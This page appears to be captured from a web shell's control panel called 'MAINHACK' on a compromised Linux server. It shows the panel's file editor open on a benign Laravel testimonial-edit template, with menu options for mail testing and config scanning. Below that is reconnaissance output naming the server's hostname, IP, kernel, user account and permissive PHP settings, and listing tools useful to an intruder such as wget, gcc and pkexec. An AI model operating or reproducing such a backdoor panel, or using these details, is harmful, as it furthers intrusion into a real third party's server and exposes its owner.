[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit.blade.php
@extends('layouts.master') @section('title') {{ __('Edit Testimonial') }} @endsection @section('main_content') <div class="erp-table-section"> {{-- {{ dd($testimonial) }} --}} <div class="container-fluid"> <div class="card shadow-sm"> <div class="card-bodys"> <div class="table-header p-16"> <h4>{{__('Edit Testimonial') }}</h4> <div> <a href="{{ route('admin.testimonials.index') }}" class="theme-btn print-btn text-light"> <i class="fas fa-list me-1"></i> {{ __("View List") }} </a> </div> </div> <div class="order-form-section p-16"> {{-- form start --}} <form action="{{ route('admin.testimonials.update',['testimonial'=>$testimonial]) }}" method="post" enctype="multipart/form-data" class="ajaxform_instant_reload"> @csrf @method('put') <div class="add-suplier-modal-wrapper"> <div class="row"> <div class="col-lg-6 mt-2"> <label>{{ __('Client Name') }}</label> <input type="text" name="client_name" required class="form-control" value="{{ $testimonial->client_name }}" placeholder="{{ __('Enter Client Name') }}"> </div> <div class="col-lg-6 mt-2"> <label>{{ __('Stars') }}</label> <div class="gpt-up-down-arrow position-relative"> <select name="star" required="" class="form-control select-dropdown"> <option @selected($testimonial->star == 1) value="1">{{ __('1') }}</option> <option @selected($testimonial->star == 2) value="2">{{ __('2') }}</option> <option @selected($testimonial->star == 3) value="3">{{ __('3') }}</option> <option @selected($testimonial->star == 4) value="4">{{ __('4') }}</option> <option @selected($testimonial->star == 5) value="5">{{ __('5') }}</option> </select> <span></span> </div> </div> <div class="col-lg-6 mt-2"> <label>{{ __('Works At') }}</label> <input type="text" name="work_at" required class="form-control" placeholder="{{ __('Enter text') }}" value="{{ $testimonial->work_at ?? '' }}" > </div> <div class="col-lg-5 mt-2 align-self-center"> <label class="img-label">{{ __('Client Image') }}</label> <input type="file" name="client_image" class="form-control"> </div> <div class="col-lg-1 mt-2 align-self-center mt-4"> <img class="img-fluid table-img" src="{{ asset($testimonial->client_image) }}" alt="Img"> </div> <div class="col-lg-12 mt-2"> <label>{{ __('Review') }}</label> <textarea name="text" id="" class="form-control" placeholder="{{ __('Enter review message here') }}">{{ $testimonial->text }}</textarea> </div> <div class="col-lg-12"> <div class="button-group text-center mt-5"> <a href="" class="theme-btn border-btn m-2">{{__('Cancel')}}</a> <button class="theme-btn m-2 submit-btn">{{__('Update')}}</button> </div> </div> </div> </div> </form> {{-- form end --}} </div> </div> </div> </div> </div> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002